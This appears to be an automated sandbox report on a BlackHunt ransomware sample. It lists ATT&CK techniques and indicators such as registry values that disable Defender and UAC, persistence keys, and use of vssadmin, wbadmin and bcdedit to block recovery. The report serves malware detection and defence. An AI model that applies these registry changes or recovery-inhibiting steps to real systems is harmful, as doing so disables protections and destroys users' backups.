cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807

Data Destruction

T1485

pid	Process
2192	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1984	bcdedit.exe
2636	bcdedit.exe

Renames multiple (2373) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2572	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\I:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\O:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\L:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\A:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\H:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\K:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\N:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\J:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\Y:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\U:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\M:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\R:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\S:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\G:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\Z:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\X:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\V:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\E:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\T:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened (read-only)	\??\B:	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_Private.key	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\#BlackHunt_Private.key	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-templates.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.txt	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.txt	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bangkok	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Beirut	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host.xml	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.txt	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_ButtonGraphic.png	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Warsaw	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_Private.key	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\javafx.policy	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.properties	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.attributeTransformation.exsd	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-dialogs.xml	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_ko.properties	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page_PAL.wmv	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\ffjcext.zip	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_zh_4.4.0.v20140623020002.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask_PAL.wmv	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vincennes	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#BlackHunt_ReadMe.txt	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\updater_ja.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_zh_CN.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-enumerations.xml	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiler.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tegucigalpa	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_zh_4.4.0.v20140623020002.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_ja_4.4.0.v20140623020002.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\#BlackHunt_Private.key	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\artifacts.xml	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\flight_recorder.png	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net_1.2.200.v20140124-2013.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-spi-quicksearch.xml	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_ReadMe.txt	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuching	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EET	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_zh_4.4.0.v20140623020002.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_ja_4.4.0.v20140623020002.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-lib-uihandler.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.txt	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Recife	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Apia	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Inuvik	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047x576black.png	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\resources.jar	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.hta	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground.wmv	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2852	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2708	vssadmin.exe
664	vssadmin.exe
1920	vssadmin.exe
2360	vssadmin.exe
2748	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	vssadmin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	vssadmin.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Token: SeRestorePrivilege	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Token: SeBackupPrivilege	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Token: SeTakeOwnershipPrivilege	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Token: SeAuditPrivilege	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Token: SeSecurityPrivilege	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Token: SeIncBasePriorityPrivilege	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Token: SeBackupPrivilege	2684	vssvc.exe
Token: SeRestorePrivilege	2684	vssvc.exe
Token: SeAuditPrivilege	2684	vssvc.exe
Token: SeBackupPrivilege	1048	wbengine.exe
Token: SeRestorePrivilege	1048	wbengine.exe
Token: SeSecurityPrivilege	1048	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 3064	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	134
PID 2232 wrote to memory of 3064	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	134
PID 2232 wrote to memory of 3064	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	134
PID 2232 wrote to memory of 3064	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	134
PID 2232 wrote to memory of 3056	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	32
PID 2232 wrote to memory of 3056	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	32
PID 2232 wrote to memory of 3056	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	32
PID 2232 wrote to memory of 3056	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	32
PID 2232 wrote to memory of 2688	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	33
PID 2232 wrote to memory of 2688	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	33
PID 2232 wrote to memory of 2688	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	33
PID 2232 wrote to memory of 2688	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	33
PID 2232 wrote to memory of 2572	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	144
PID 2232 wrote to memory of 2572	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	144
PID 2232 wrote to memory of 2572	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	144
PID 2232 wrote to memory of 2572	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	144
PID 2232 wrote to memory of 2848	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	38
PID 2232 wrote to memory of 2848	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	38
PID 2232 wrote to memory of 2848	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	38
PID 2232 wrote to memory of 2848	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	38
PID 2232 wrote to memory of 2600	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	40
PID 2232 wrote to memory of 2600	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	40
PID 2232 wrote to memory of 2600	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	40
PID 2232 wrote to memory of 2600	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	40
PID 3056 wrote to memory of 2588	3056	cmd.exe	42
PID 3056 wrote to memory of 2588	3056	cmd.exe	42
PID 3056 wrote to memory of 2588	3056	cmd.exe	42
PID 2232 wrote to memory of 2248	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	41
PID 2232 wrote to memory of 2248	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	41
PID 2232 wrote to memory of 2248	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	41
PID 2232 wrote to memory of 2248	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	41
PID 2232 wrote to memory of 2728	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	46
PID 2232 wrote to memory of 2728	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	46
PID 2232 wrote to memory of 2728	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	46
PID 2232 wrote to memory of 2728	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	46
PID 3064 wrote to memory of 2676	3064	reg.exe	136
PID 3064 wrote to memory of 2676	3064	reg.exe	136
PID 3064 wrote to memory of 2676	3064	reg.exe	136
PID 2232 wrote to memory of 2576	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	50
PID 2232 wrote to memory of 2576	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	50
PID 2232 wrote to memory of 2576	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	50
PID 2232 wrote to memory of 2576	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	50
PID 2232 wrote to memory of 1800	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	47
PID 2232 wrote to memory of 1800	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	47
PID 2232 wrote to memory of 1800	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	47
PID 2232 wrote to memory of 1800	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	47
PID 2232 wrote to memory of 2236	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	54
PID 2232 wrote to memory of 2236	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	54
PID 2232 wrote to memory of 2236	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	54
PID 2232 wrote to memory of 2236	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	54
PID 2688 wrote to memory of 2132	2688	cmd.exe	55
PID 2688 wrote to memory of 2132	2688	cmd.exe	55
PID 2688 wrote to memory of 2132	2688	cmd.exe	55
PID 2232 wrote to memory of 2340	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	53
PID 2232 wrote to memory of 2340	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	53
PID 2232 wrote to memory of 2340	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	53
PID 2232 wrote to memory of 2340	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	53
